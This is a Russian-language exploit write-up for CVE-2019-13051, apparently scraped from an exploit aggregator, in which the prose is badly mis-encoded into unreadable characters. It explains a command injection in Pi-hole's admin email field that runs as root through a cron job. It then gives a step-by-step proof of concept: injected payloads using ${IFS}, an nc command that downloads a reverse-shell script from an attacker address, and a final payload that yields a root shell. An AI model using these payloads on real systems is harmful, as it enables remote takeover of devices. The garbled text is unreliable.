## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PR0TEAN-CVE-2019-13051
## Pi-Hole < 4.3.2 ΠΠ½Π΅Π΄ΡΠ΅Π½ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ ΠΈ ΠΏΠΎΠ²ΡΡΠ΅Π½ΠΈΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ (CVE-2019-13051)
_ΠΠ΅ΡΡΠΈΡ Pi-Hole 4.3.2 ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ ΡΡΠΎΠΉ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ:https://github.com/pi-hole/AdminLTE/pull/974_
ΠΠ³ΡΠΎΠΌΠ½ΠΎΠ΅ ΡΠΏΠ°ΡΠΈΠ±ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π΅ ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊΠΎΠ² Pi-Hole Π·Π° ΠΈΡ
Π·Π°ΠΌΠ΅ΡΠ°ΡΠ΅Π»ΡΠ½ΡΠΉ ΠΏΡΠΎΠ΅ΠΊΡ ΠΈ Π·Π° ΡΠΎ, ΡΡΠΎ ΡΠ΄Π΅Π»Π°Π»ΠΈ ΠΏΡΠΎΡΠ΅ΡΡ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ ΠΎΠ± ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ ΡΠ°ΠΊΠΈΠΌ ΠΏΡΠΎΡΡΡΠΌ!
### ΠΡΠ°ΡΠΊΠΎΠ΅ ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅
Π§Π΅ΡΠ΅Π· ΠΎΠΏΠΈΡΠ°Π½Π½ΡΠ΅ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ Π² ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠ΅ "AdminLTE" ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π°Π»ΡΠ½Π½ΠΎ ΠΏΠΎΠ»ΡΡΠΈΡΡ root-Π΄ΠΎΡΡΡΠΏ Π½Π° ΡΡΡΡΠΎΠΉΡΡΠ²Π΅ RaspberyPi (ΠΈΠ»ΠΈ Π½Π° Π»ΡΠ±ΠΎΠΌ Π΄ΡΡΠ³ΠΎΠΌ ΡΡΡΡΠΎΠΉΡΡΠ²Π΅/ΠΠ, Π³Π΄Π΅ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅). ΠΠ»Ρ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ ΡΡΠ΅Π±ΡΡΡΡΡ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΈΠ²Π½ΡΠΉ Π΄ΠΎΡΡΡΠΏ/ΡΡΡΡΠ½ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅ ΠΊ Π²Π΅Π±-ΠΈΠ½ΡΠ΅ΡΡΠ΅ΠΉΡΡ AdminLTE.
Π ΡΠ°ΡΡΠ½ΠΎΡΡΠΈ, ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±ΠΎΠΉΡΠΈ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΡ
Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ Π²Π½Π΅Π΄ΡΠΈΡΡ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»ΡΠ½ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Π² ΠΏΠΎΠ»Π΅ Β«ΠΠ΄ΡΠ΅Ρ ΡΠ»Π΅ΠΊΡΡΠΎΠ½Π½ΠΎΠΉ ΠΏΠΎΡΡΡ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°Β». ΠΡΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Ρ, Π² ΡΠ²ΠΎΡ ΠΎΡΠ΅ΡΠ΅Π΄Ρ, ΡΠΎΡ
ΡΠ°Π½ΡΡΡΡΡ Π² "/etc/pihole/setupVars.conf", ΠΏΠΎΡΠ»Π΅ ΡΠ΅Π³ΠΎ ΠΎΠ½ΠΈ ΠΎΠ±ΡΠ°Π±Π°ΡΡΠ²Π°ΡΡΡΡ ΠΈ Π²ΡΠΏΠΎΠ»Π½ΡΡΡΡΡ Ρ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΌΠΈ **root** Π·Π°Π΄Π°Π½ΠΈΠ΅ΠΌ cron.d Β«/usr/local/bin/pihole updatechecker localΒ», Π·Π°ΠΏΡΡΠΊΠ°ΡΡΠΈΠΌΡΡ ΠΊΠ°ΠΆΠ΄ΡΠ΅ 10 ΠΌΠΈΠ½ΡΡ.
### ΠΡΠ΅Π΄Π²Π°ΡΠΈΡΠ΅Π»ΡΠ½ΡΠ΅ ΡΡΠ»ΠΎΠ²ΠΈΡ Π°ΡΠ°ΠΊΠΈ
1. Π‘Π΅ΡΠ΅Π²Π°Ρ Π΄ΠΎΡΡΡΠΏΠ½ΠΎΡΡΡ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΈΠ²Π½ΠΎΠ³ΠΎ Π²Π΅Π±-ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ Pi-Hole (AdminLTE).
2. ΠΠ°Π»ΠΈΡΠΈΠ΅ ΡΡΡΡΠ½ΡΡ
Π΄Π°Π½Π½ΡΡ
Π΄Π»Ρ Π²Π΅Π±-ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ AdminLTE.
### ΠΠ³ΡΠ°Π½ΠΈΡΠ΅Π½ΠΈΡ
ΠΡΠ°ΠΊΡΡΡΠ΅ΠΌΡ ΠΏΡΠΈΡ
ΠΎΠ΄ΠΈΡΡΡ ΠΆΠ΄Π°ΡΡ 10-ΠΌΠΈΠ½ΡΡΠ½ΠΎΠ³ΠΎ ΠΈΠ½ΡΠ΅ΡΠ²Π°Π»Π° cron-Π·Π°Π΄Π°Π½ΠΈΡ Β«/etc/cron.d/piholeΒ» Π΄Π»Ρ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ/ΠΊΠΎΠ΄Π°.
### Π’Π΅Ρ
Π½ΠΈΡΠ΅ΡΠΊΠΎΠ΅ ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅
ΠΠ°Π΄Π΅Π΅ΠΌΡΡ, ΠΏΡΠΈΠ²Π΅Π΄ΡΠ½Π½ΡΠ΅ Π½ΠΈΠΆΠ΅ Π΄Π΅ΡΠ°Π»ΠΈ ΠΈ PoC ΠΏΠΎΠΌΠΎΠ³ΡΡ Π²Π°ΠΌ ΠΏΡΠΎΠ²Π΅ΡΠΈΡΡ ΠΈ Π²ΠΎΡΠΏΡΠΎΠΈΠ·Π²Π΅ΡΡΠΈ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ.
ΠΠΎΡΠ»Π΅ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ Π² Π²Π΅Π±-ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Π°ΡΠ°ΠΊΡΡΡΠ΅ΠΌΡ Π½Π΅ΠΎΠ±Ρ
ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±ΠΎΠΉΡΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΡΠ΅ΡΠ²Π΅ΡΠ½ΡΡ
ΠΏΡΠΎΠ²Π΅ΡΠΎΠΊ, ΡΡΠΎΠ±Ρ ΡΡΠΏΠ΅ΡΠ½ΠΎ Π²Π½Π΅Π΄ΡΠΈΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ.
Π Β«savesettings.phpΒ», Π½Π° ΡΡΡΠΎΠΊΠ΅ L:499, ΡΠΏΡΠ°Π²Π»ΡΠ΅ΠΌΠ°Ρ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΌ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ Β«$adminemailΒ» ΠΏΡΠΎΠ²Π΅ΡΡΠ΅ΡΡΡ Ρ ΠΏΠΎΠΌΠΎΡΡΡ Π²Π½ΡΡΡΠ΅Π½Π½Π΅ΠΉ PHP-ΡΡΠ½ΠΊΡΠΈΠΈ FILTER_VALIDATE_EMAIL, ΠΊΠΎΡΠΎΡΠ°Ρ ΠΎΠ±Π»Π°Π΄Π°Π΅Ρ ΠΎΡΠ½ΠΎΡΠΈΡΠ΅Π»ΡΠ½ΠΎ ΡΠ»Π°Π±ΡΠΌΠΈ ΠΏΡΠΎΠ²Π΅ΡΠΊΠ°ΠΌΠΈ.
ΠΠ°ΡΠ΅ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±ΠΎΠΉΡΠΈ ΡΡΡ ΠΏΡΠΎΠ²Π΅ΡΠΊΡ ΠΈ ΠΏΡΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡΡΠΈΡΠΎΠ²Π°ΡΡ Π²Π½Π΅Π΄ΡΠ΅Π½ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ, ΠΏΡΠΎΡΡΠΎ Π·Π°ΠΊΠ»ΡΡΠΈΠ² Π½Π°Π±ΠΎΡ ΠΎΠ±ΡΠ°ΡΠ½ΡΡ
ΠΊΠ°Π²ΡΡΠ΅ΠΊ Π² Π΄Π²ΠΎΠΉΠ½ΡΠ΅ ΠΊΠ°Π²ΡΡΠΊΠΈ. ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, Π²Π²Π΅Π΄ΠΈΡΠ΅ ΡΠ»Π΅Π΄ΡΡΡΠ΅Π΅ Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ Π°Π΄ΡΠ΅ΡΠ° ΡΠ»Π΅ΠΊΡΡΠΎΠ½Π½ΠΎΠΉ ΠΏΠΎΡΡΡ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°:
`"`test>/tmp/poc_proof.txt`"@example.com`

Π ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ 10 ΠΌΠΈΠ½ΡΡ Π² Β«/tmp/poc_proof.txtΒ» Π±ΡΠ΄Π΅Ρ ΡΠΎΠ·Π΄Π°Π½ ΠΏΡΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°ΡΠΈΠΉ root ΡΠ°ΠΉΠ», ΡΠΎΠ΄Π΅ΡΠΆΠ°ΡΠΈΠΉ Β«testΒ», Ρ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΌΠΈ root.

Π§ΡΠΎΠ±Ρ Π²ΡΠΏΠΎΠ»Π½ΡΡΡ Π΄Π°Π»ΡΠ½Π΅ΠΉΡΠΈΠ΅ Π·Π½Π°ΡΠΈΠΌΡΠ΅ Π°ΡΠ°ΠΊΠΈ, Π½Π΅ΠΎΠ±Ρ
ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ°ΠΊΠΆΠ΅ ΠΎΠ±ΠΎΠΉΡΠΈ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½ΠΈΠ΅ Π½Π° ΠΏΡΠΎΠ±Π΅Π»Ρ (ΠΊΠΎΡΠΎΡΡΠ΅ Π½Π΅ ΡΠ²Π»ΡΡΡΡΡ Π΄ΠΎΠΏΡΡΡΠΈΠΌΡΠΌΠΈ ΡΠΈΠΌΠ²ΠΎΠ»Π°ΠΌΠΈ ΡΠ»Π΅ΠΊΡΡΠΎΠ½Π½ΠΎΠΉ ΠΏΠΎΡΡΡ ΠΈ ΠΎΡΠ»Π°Π²Π»ΠΈΠ²Π°ΡΡΡΡ ΡΡΠ½ΠΊΡΠΈΠ΅ΠΉ FILTER_VALIDATE_EMAIL). ΠΠ»Ρ ΡΡΠΎΠ³ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π»Π°ΡΡ Π²Π½ΡΡΡΠ΅Π½Π½ΡΡ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ Linux ${IFS} (ΠΊΠΎΡΠΎΡΠ°Ρ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΠ΅Ρ ΠΏΡΠΎΠ±Π΅Π»Ρ Π² Π±ΠΎΠ»ΡΡΠΈΠ½ΡΡΠ²Π΅ UNIX-ΡΠΈΡΡΠ΅ΠΌ).
**PoC:**
*ΠΡΠΈΠΌΠ΅ΡΠ°Π½ΠΈΠ΅: ΡΡΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ ΠΎΠ΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΎΠΉ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π³ΡΠ°ΠΌΠΌΠ°ΡΠΈΠΊΠΈ POSIX shell, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ &&, || ...
1. Π£Π±Π΅Π΄ΠΈΡΠ΅ΡΡ, ΡΡΠΎ Ρ Π²Π°Ρ Π³ΠΎΡΠΎΠ² ΠΌΠ΅Ρ
Π°Π½ΠΈΠ·ΠΌ Π΄ΠΎΡΡΠ°Π²ΠΊΠΈ ΡΠΊΡΠΈΠΏΡΠ° Π½Π° Π°ΡΠ°ΠΊΡΡΡΠ΅ΠΉ ΠΌΠ°ΡΠΈΠ½Π΅. Π’.Π΅. Π½Π° Π°ΡΠ°ΠΊΡΡΡΠ΅ΠΉ ΠΌΠ°ΡΠΈΠ½Π΅:
`nc -nvlp 4444 < revshell.py`
2. ΠΡΠΏΡΠ°Π²ΡΡΠ΅ ΠΏΠ΅ΡΠ²ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Π² ΠΏΠΎΠ»Π΅ Β«ΠΠ΄ΡΠ΅Ρ ΡΠ»Π΅ΠΊΡΡΠΎΠ½Π½ΠΎΠΉ ΠΏΠΎΡΡΡ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°Β», ΡΡΠΎΠ±Ρ ΠΈΠ½ΠΈΡΠΈΠΈΡΠΎΠ²Π°ΡΡ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΠ΅ ΠΈ ΡΠΎΡ
ΡΠ°Π½Π΅Π½ΠΈΠ΅ Python-ΡΠΊΡΠΈΠΏΡΠ° reverse shell Π² Β«/tmp/revshell.pyΒ»:
`"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com`

HTTP-Π·Π°ΠΏΡΠΎΡ Π±ΡΠ΄Π΅Ρ Π²ΡΠ³Π»ΡΠ΄Π΅ΡΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ ΠΏΡΠΈ ΠΏΡΠΎΡΠΌΠΎΡΡΠ΅ ΡΠ΅ΡΠ΅Π· HTTP-ΠΏΡΠΎΠΊΡΠΈ:

ΠΠΎΠ΄ΠΎΠΆΠ΄ΠΈΡΠ΅ 10 ΠΌΠΈΠ½ΡΡ, ΠΏΠΎΠΊΠ° cron-Π·Π°Π΄Π°Π½ΠΈΠ΅ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡΡ ΠΈ Π·Π°Π³ΡΡΠ·ΠΈΡ ΡΠΊΡΠΈΠΏΡ, ΠΈΠ»ΠΈ, Π΄Π»Ρ ΡΠ΅Π»Π΅ΠΉ Π²ΠΎΡΠΏΡΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΡ, Π²ΡΠΏΠΎΠ»Π½ΠΈΡΠ΅ Π²ΡΡΡΠ½ΡΡ `/usr/local/bin/pihole updatechecker local`. Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡΠΎΠ²Π΅ΡΠΈΡΡ Π²Π½Π΅Π΄ΡΡΠ½Π½ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Π² "/etc/pihole/setupVars.conf" (ΠΎΠ½Π° Π½Π°Ρ
ΠΎΠ΄ΠΈΡΡΡ Π² ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠΉ ADMIN_EMAIL).
3. Π£Π±Π΅Π΄ΠΈΡΠ΅ΡΡ, ΡΡΠΎ Ρ Π²Π°Ρ Π³ΠΎΡΠΎΠ² ΡΠ΅ΡΠ²ΠΈΡ Π΄Π»Ρ ΠΏΠ΅ΡΠ΅Ρ
Π²Π°ΡΠ° shell. Π’.Π΅. Π½Π° Π°ΡΠ°ΠΊΡΡΡΠ΅ΠΉ ΠΌΠ°ΡΠΈΠ½Π΅:
`nc -nvlp 4445`
4. ΠΠ°ΠΊΠΎΠ½Π΅Ρ, Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΎΡΠΏΡΠ°Π²ΠΈΡΡ ΡΠ»Π΅Π΄ΡΡΡΠ΅Π΅:
`β`python${IFS}/tmp/revshell.py`β@example.com`
Π‘Π½ΠΎΠ²Π° ΠΏΠΎΠ΄ΠΎΠΆΠ΄ΠΈΡΠ΅ 10 ΠΌΠΈΠ½ΡΡ (ΠΈΠ»ΠΈ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΠ΅ cron-ΡΠΊΡΠΈΠΏΡ Π²ΡΡΡΠ½ΡΡ Π΄Π»Ρ Π²ΠΎΡΠΏΡΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΡ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ), ΠΈ Π²Ρ ΠΏΠΎΠ»ΡΡΠΈΡΠ΅ root-shell Π½Π° ΡΠ²ΠΎΠ΅ΠΉ Π°ΡΠ°ΠΊΡΡΡΠ΅ΠΉ ΠΌΠ°ΡΠΈΠ½Π΅.
